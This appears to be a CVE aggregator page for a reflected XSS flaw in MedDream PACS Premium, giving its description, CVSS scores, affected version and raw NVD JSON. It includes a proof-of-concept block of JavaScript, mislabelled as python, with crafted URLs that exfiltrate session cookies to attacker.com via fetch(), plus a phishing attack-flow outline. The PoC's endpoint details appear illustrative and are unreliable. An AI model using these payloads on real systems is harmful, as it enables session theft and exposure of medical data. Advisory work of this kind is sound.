Security Vulnerability Report
中文
CVE-2025-54157 CVSS 6.1 MEDIUM

CVE-2025-54157

Published: 2026-01-20 15:17:00
Last Modified: 2026-01-29 15:26:34

Description

A reflected cross-site scripting (xss) vulnerability exists in the encapsulatedDoc functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:* - VULNERABLE
MedDream PACS Premium 7.3.6.870

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-54157 PoC - MedDream PACS Premium Reflected XSS // Target: MedDream PACS Premium 7.3.6.870 encapsulatedDoc functionality // Malicious URL that triggers XSS via encapsulatedDoc parameter const maliciousUrl = 'https://[TARGET_HOST]/meddream/encapsulatedDoc?studyUID=1.2.3.4.5&seriesUID=1.2.3.4.5.6&objectUID=1.2.3.4.5.6.7&patientID=test<script>alert(document.cookie)</script>'; // Alternative payload using event handler const altPayload = 'https://[TARGET_HOST]/meddream/encapsulatedDoc?studyUID=1.2.3.4.5&seriesUID=1.2.3.4.5.6&objectUID=1.2.3.4.5.6.7&patientID=test" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" x="'; // Steal session cookies payload const stealSession = 'https://[TARGET_HOST]/meddream/encapsulatedDoc?studyUID=1.2.3.4.5&seriesUID=1.2.3.4.5.6&objectUID=1.2.3.4.5.6.7&patientID=test<script>fetch("https://attacker.com/log?data="+btoa(document.cookie))</script>'; console.log('CVE-2025-54157 PoC URLs generated'); console.log('1. Basic XSS test:', maliciousUrl); console.log('2. Event handler XSS:', altPayload); console.log('3. Session stealing:', stealSession); // Attack flow: // 1. Attacker crafts malicious URL with XSS payload in encapsulatedDoc parameter // 2. Attacker sends URL to victim via phishing email or social engineering // 3. Victim clicks link, browser sends request to MedDream server // 4. Server reflects unsanitized input in response // 5. Browser executes injected JavaScript in victim's context // 6. Attacker steals cookies/sessions or performs actions on behalf of victim

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54157", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:00.080", "lastModified": "2026-01-29T15:26:33.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the encapsulatedDoc functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Existe una vulnerabilidad de cross-site scripting (XSS) reflejado en la funcionalidad encapsulatedDoc de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede llevar a la ejecución de código javascript arbitrario. Un atacante puede proporcionar una URL diseñada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2256", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2256", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}